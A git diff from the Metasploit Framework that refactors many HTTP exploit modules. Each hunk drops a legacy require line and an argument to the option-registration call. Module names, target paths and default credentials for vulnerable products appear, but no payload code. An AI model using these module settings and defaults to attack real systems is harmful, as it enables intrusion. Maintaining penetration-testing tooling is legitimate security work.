https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]), OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index e3342d1af1..65010451a9 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(7021), OptString.new('HttpUsername', [ true, 'The username with admin role to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 3173aaa9f6..0dae318301 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) - ], self.class) + ]) end def username diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb index e25261e582..4cee032efb 100644 --- a/modules/exploits/multi/http/novell_servicedesk_rce.rb +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'Password for the specified username', 'admin']), OptString.new('TRAVERSAL_PATH', [false, 'Traversal path to tomcat/webapps/LiveTime/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 646a6d6b59..808e1e0095 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index d8a570bf4c..141f4b26e9 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index e12572648c..c7c4ac5640 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -83,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]), OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]), OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index d4a5f60cac..4d0167f21b 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 0fd826a77b..e8ea0bf8b7 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb index 2b1876fd2f..ee3b4657fe 100644 --- a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for WAR deployment', 15]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index 4b8bf6c40b..7b965bf232 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb index 21e9ab5a64..c664ab9478 100644 --- a/modules/exploits/multi/http/pandora_upload_exec.rb +++ b/modules/exploits/multi/http/pandora_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phoenix_exec.rb b/modules/exploits/multi/http/phoenix_exec.rb index b599b60a1a..6d89bce8d2 100644 --- a/modules/exploits/multi/http/phoenix_exec.rb +++ b/modules/exploits/multi/http/phoenix_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 4fabf1b337..b9e31e6c39 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]), OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]), OptBool.new('PLESK', [true, "Exploit Plesk", false]), - ], self.class) + ]) end # php-cgi -h diff --git a/modules/exploits/multi/http/php_utility_belt_rce.rb b/modules/exploits/multi/http/php_utility_belt_rce.rb index 9f499e41a3..7a7cd15610 100644 --- a/modules/exploits/multi/http/php_utility_belt_rce.rb +++ b/modules/exploits/multi/http/php_utility_belt_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 096812613d..3d4efe3168 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the web application', '/bf102/']), OptString.new('USERNAME', [true, 'The username to login', 'admin']), OptString.new('PASSWORD', [true, 'The password to login', 'volunteer']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 2bf5e4a4ac..46a0402c72 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 662214c355..f031e1e34b 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phpmailer_arg_injection.rb b/modules/exploits/multi/http/phpmailer_arg_injection.rb index 48e7f51dea..fe5e6d2e99 100644 --- a/modules/exploits/multi/http/phpmailer_arg_injection.rb +++ b/modules/exploits/multi/http/phpmailer_arg_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -53,11 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']), OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]) - ], self.class) + ]) end def trigger(trigger_uri) diff --git a/modules/exploits/multi/http/phpmoadmin_exec.rb b/modules/exploits/multi/http/phpmoadmin_exec.rb index 48e01b6851..169965db37 100644 --- a/modules/exploits/multi/http/phpmoadmin_exec.rb +++ b/modules/exploits/multi/http/phpmoadmin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, "The URI path of the PHPMoAdmin page", "/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index a540ab99c6..82cf6f3d9c 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index f02238b6e9..f4c6e614b8 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 567b014c8c..98dd43476d 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "The full URI path to phpScheduleIt", '/phpscheduleit']), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index b9d2ab419a..6fbe7f3cba 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb index 63d2cd6da9..6f21dca949 100644 --- a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) , - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index fddf70ee17..034c68e84e 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('URI',[true, "The path to the Plone installation", "/"]), - ],self.class) + ]) register_autofilter_ports([ 8080 ]) end diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index e0ddb9bc03..eb4c5030dd 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI',[true, "The path to the pmwiki installation", "/"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index 68596ebef7..cca7b10974 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) , OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index da859cb3f4..7909c071df 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']), OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']) - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index ff4b154ed1..47ccb202a4 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']), OptString.new('USERNAME', [true, 'The username to login with']), OptString.new('PASSWORD', [true, 'The password to login with']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb index 810ca9abef..ce6e270e14 100644 --- a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb +++ b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb index b9c1bedb10..2c59b6fec9 100644 --- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb +++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(3000), OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 14598f3398..e5bcc6ee29 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 4f2f04081b..42aae607dc 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -135,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']), OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb index accaadd41f..7cd4f5b7cf 100644 --- a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb +++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(3000), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ]) - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index c6a7904b59..6d663016a8 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,12 +51,12 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) - ], self.class) + ]) register_evasion_options( [ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true]) - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb index b7d683386f..924bb58545 100644 --- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -78,14 +76,14 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8888) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index e9f198bd6c..3eb4b93d4e 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']), OptString.new('USERNAME', [true, 'The username to login with', 'admin']), OptString.new('PASSWORD', [true, 'The password to login with', 'secret']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 0725b0f74f..53494d5909 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']), OptString.new('VAR', [true, 'The command variable', 'cmd']), OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT']]) - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 92568c6f94..02748b0ef5 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URI', [true, "SiT! directory path", "/sit"]), OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index d4de32cf5c..440a302c3f 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]), - ],self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb index 4735a2872e..086e9bf098 100644 --- a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9000) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 2f9e672522..6dae6c0a0a 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb index 3068d243de..78daedd694 100644 --- a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb +++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -69,7 +67,7 @@ class 